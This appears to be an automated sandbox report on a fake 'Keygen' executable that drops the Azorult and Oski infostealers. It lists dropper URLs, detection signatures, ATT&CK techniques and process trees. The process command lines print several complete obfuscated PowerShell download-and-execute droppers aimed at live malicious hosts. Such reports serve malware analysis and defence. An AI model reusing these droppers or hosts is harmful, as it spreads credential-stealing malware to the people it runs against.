azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
28s
max time network
162s
platform
windows10_x64
resource
win10v200722
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (64) — копия.exe

Score

10^/10

azorult oski infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

12 64 powershell.exe
13 4048 powershell.exe
14 4180 powershell.exe
18 64 powershell.exe
19 4180 powershell.exe
20 4048 powershell.exe
Downloads MZ/PE file

flow	pid	process
12	64	powershell.exe
13	4048	powershell.exe
14	4180	powershell.exe
18	64	powershell.exe
19	4180	powershell.exe
20	4048	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exexpu.exefzr.exeojd.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exeojd.exefzr.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

pid	process
3864	Keygen.exe
5036	xpu.exe
3008	fzr.exe
2696	ojd.exe
2452	FVjhgtresfdbv.exe
2080	FVjhgtresfdbv.exe
4376	NHtrdsaghfDF.exe
4420	NHtrdsaghfDF.exe
4600	ojd.exe
4636	fzr.exe
4648	FVjhgtresfdbv.exe
4616	FVjhgtresfdbv.exe
4736	NHtrdsaghfDF.exe
4656	NHtrdsaghfDF.exe

Loads dropped DLL 6 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exe

pid process

4648 FVjhgtresfdbv.exe
4616 FVjhgtresfdbv.exe
4616 FVjhgtresfdbv.exe
4648 FVjhgtresfdbv.exe
4648 FVjhgtresfdbv.exe
4616 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4648	FVjhgtresfdbv.exe
4616	FVjhgtresfdbv.exe
4616	FVjhgtresfdbv.exe
4648	FVjhgtresfdbv.exe
4648	FVjhgtresfdbv.exe
4616	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

ojd.exefzr.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 2696 set thread context of 4600	2696	ojd.exe	ojd.exe
PID 3008 set thread context of 4636	3008	fzr.exe	fzr.exe
PID 2080 set thread context of 4648	2080	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2452 set thread context of 4616	2452	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4420 set thread context of 4736	4420	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4376 set thread context of 4656	4376	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3016 timeout.exe
3056 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings cmd.exe

pid	process
3016	timeout.exe
3056	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
64	powershell.exe
2588	powershell.exe
4048	powershell.exe
3672	powershell.exe
3672	powershell.exe
4180	powershell.exe
4288	powershell.exe
4288	powershell.exe
64	powershell.exe
64	powershell.exe
3672	powershell.exe
2588	powershell.exe
2588	powershell.exe
4048	powershell.exe
4048	powershell.exe
4288	powershell.exe
4180	powershell.exe
4180	powershell.exe
2588	powershell.exe
4048	powershell.exe
3672	powershell.exe
64	powershell.exe
4288	powershell.exe
4180	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

ojd.exefzr.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

pid process

2696 ojd.exe
3008 fzr.exe
2080 FVjhgtresfdbv.exe
2452 FVjhgtresfdbv.exe
4420 NHtrdsaghfDF.exe
4376 NHtrdsaghfDF.exe

pid	process
2696	ojd.exe
3008	fzr.exe
2080	FVjhgtresfdbv.exe
2452	FVjhgtresfdbv.exe
4420	NHtrdsaghfDF.exe
4376	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exexpu.exe

description	pid	process
Token: SeDebugPrivilege	64	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	4288	powershell.exe
Token: SeDebugPrivilege	5036	xpu.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exefzr.exeojd.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

pid process

3864 Keygen.exe
3008 fzr.exe
2696 ojd.exe
2080 FVjhgtresfdbv.exe
2452 FVjhgtresfdbv.exe
4376 NHtrdsaghfDF.exe
4420 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (64) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepowershell.exeojd.exefzr.exe

description	pid	process	target process
PID 2332 wrote to memory of 3284	2332	Keygen — копия (64) — копия.exe	cmd.exe
PID 2332 wrote to memory of 3284	2332	Keygen — копия (64) — копия.exe	cmd.exe
PID 2332 wrote to memory of 3284	2332	Keygen — копия (64) — копия.exe	cmd.exe
PID 3284 wrote to memory of 3864	3284	cmd.exe	Keygen.exe
PID 3284 wrote to memory of 3864	3284	cmd.exe	Keygen.exe
PID 3284 wrote to memory of 3864	3284	cmd.exe	Keygen.exe
PID 3284 wrote to memory of 3532	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3532	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3532	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3108	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3108	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3108	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3016	3284	cmd.exe	timeout.exe
PID 3284 wrote to memory of 3016	3284	cmd.exe	timeout.exe
PID 3284 wrote to memory of 3016	3284	cmd.exe	timeout.exe
PID 3108 wrote to memory of 2588	3108	mshta.exe	powershell.exe
PID 3108 wrote to memory of 2588	3108	mshta.exe	powershell.exe
PID 3532 wrote to memory of 4048	3532	mshta.exe	powershell.exe
PID 3108 wrote to memory of 2588	3108	mshta.exe	powershell.exe
PID 3532 wrote to memory of 4048	3532	mshta.exe	powershell.exe
PID 3532 wrote to memory of 4048	3532	mshta.exe	powershell.exe
PID 3284 wrote to memory of 3204	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3204	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3204	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 2264	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 2264	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 2264	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 3056	3284	cmd.exe	timeout.exe
PID 3284 wrote to memory of 3056	3284	cmd.exe	timeout.exe
PID 3284 wrote to memory of 3056	3284	cmd.exe	timeout.exe
PID 3204 wrote to memory of 64	3204	mshta.exe	powershell.exe
PID 3204 wrote to memory of 64	3204	mshta.exe	powershell.exe
PID 3204 wrote to memory of 64	3204	mshta.exe	powershell.exe
PID 2264 wrote to memory of 3672	2264	mshta.exe	powershell.exe
PID 2264 wrote to memory of 3672	2264	mshta.exe	powershell.exe
PID 2264 wrote to memory of 3672	2264	mshta.exe	powershell.exe
PID 3284 wrote to memory of 2568	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 2568	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 2568	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 968	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 968	3284	cmd.exe	mshta.exe
PID 3284 wrote to memory of 968	3284	cmd.exe	mshta.exe
PID 2568 wrote to memory of 4180	2568	mshta.exe	powershell.exe
PID 2568 wrote to memory of 4180	2568	mshta.exe	powershell.exe
PID 2568 wrote to memory of 4180	2568	mshta.exe	powershell.exe
PID 968 wrote to memory of 4288	968	mshta.exe	powershell.exe
PID 968 wrote to memory of 4288	968	mshta.exe	powershell.exe
PID 968 wrote to memory of 4288	968	mshta.exe	powershell.exe
PID 64 wrote to memory of 5036	64	powershell.exe	xpu.exe
PID 64 wrote to memory of 5036	64	powershell.exe	xpu.exe
PID 64 wrote to memory of 5036	64	powershell.exe	xpu.exe
PID 4180 wrote to memory of 3008	4180	powershell.exe	fzr.exe
PID 4180 wrote to memory of 3008	4180	powershell.exe	fzr.exe
PID 4180 wrote to memory of 3008	4180	powershell.exe	fzr.exe
PID 4048 wrote to memory of 2696	4048	powershell.exe	ojd.exe
PID 4048 wrote to memory of 2696	4048	powershell.exe	ojd.exe
PID 4048 wrote to memory of 2696	4048	powershell.exe	ojd.exe
PID 2696 wrote to memory of 2452	2696	ojd.exe	FVjhgtresfdbv.exe
PID 2696 wrote to memory of 2452	2696	ojd.exe	FVjhgtresfdbv.exe
PID 2696 wrote to memory of 2452	2696	ojd.exe	FVjhgtresfdbv.exe
PID 3008 wrote to memory of 2080	3008	fzr.exe	FVjhgtresfdbv.exe
PID 3008 wrote to memory of 2080	3008	fzr.exe	FVjhgtresfdbv.exe
PID 3008 wrote to memory of 2080	3008	fzr.exe	FVjhgtresfdbv.exe
PID 2696 wrote to memory of 4376	2696	ojd.exe	NHtrdsaghfDF.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (64) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (64) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2332

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\745B.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (64) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3284

C:\Users\Admin\AppData\Local\Temp\745B.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3864

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\745B.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3532

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4048

C:\Users\Public\ojd.exe
"C:\Users\Public\ojd.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2696

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2452

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4616

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4376

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4656

C:\Users\Public\ojd.exe
"C:\Users\Public\ojd.exe"
6⤵
- Executes dropped EXE
PID:4600

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\745B.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3016

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\745B.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3204

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:64

C:\Users\Public\xpu.exe
"C:\Users\Public\xpu.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5036

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\745B.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3672

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3056

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\745B.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2568

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4180

C:\Users\Public\fzr.exe
"C:\Users\Public\fzr.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3008

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2080

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4648

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4420

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4736

C:\Users\Public\fzr.exe
"C:\Users\Public\fzr.exe"
6⤵
- Executes dropped EXE
PID:4636

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\745B.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4288

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll

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C:\ProgramData\nss3.dll

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C:\ProgramData\softokn3.dll

